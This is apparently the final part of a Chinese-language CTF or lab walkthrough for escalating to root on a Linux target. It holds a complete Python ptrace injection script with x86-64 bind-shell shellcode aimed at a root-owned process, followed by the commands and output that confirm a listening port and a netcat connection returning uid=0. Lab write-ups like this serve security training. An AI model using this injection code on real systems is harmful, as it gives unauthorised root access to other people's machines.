www-data    1352     888  0 05:40 ?        00:00:00 /usr/sbin/apache2 -k start
saket       1439    1361  0 05:53 ?        00:00:00 grep --color=auto /usr/sbin/apache2 -k start

使用漏洞攻击 python2.7 inject.py 888

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 
 
import ctypes
import sys
import struct
 
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
 
PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17
 
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
 
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]
 
libc = ctypes.CDLL("libc.so.6")
 
pid=int(sys.argv[1])
 
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
 
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
 
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
 
print("Instruction Pointer: " + hex(registers.rip))
 
print("Injecting Shellcode at: " + hex(registers.rip))
 
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
 
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
 
print("Shellcode Injected!!")
 
# Modify the instuction pointer
registers.rip=registers.rip+2
 
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
 
print("Final Instruction Pointer: " + hex(registers.rip))
 
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

脚本的默认监听端口是 5600
使用 ss -pantu | grep 5600 确认是否成功

saket@ubuntu:/tmp$ python2.7 inject.py 888
python2.7 inject.py 888
Instruction Pointer: 0x7fddc8b470daL
Injecting Shellcode at: 0x7fddc8b470daL
Shellcode Injected!!
Final Instruction Pointer: 0x7fddc8b470dcL
saket@ubuntu:/tmp$ ss -pantu | grep 5600
ss -pantu | grep 5600
tcp   LISTEN 0      0                      0.0.0.0:5600           0.0.0.0:*

最后一步，使用 netcat 连接目标的 5600 端口

┌──(kali㉿kali)-[~/workspace]
└─$ nc 192.168.56.118 5600                                                      
id
uid=0(root) gid=0(root) groups=0(root)

结束 GAME OVER

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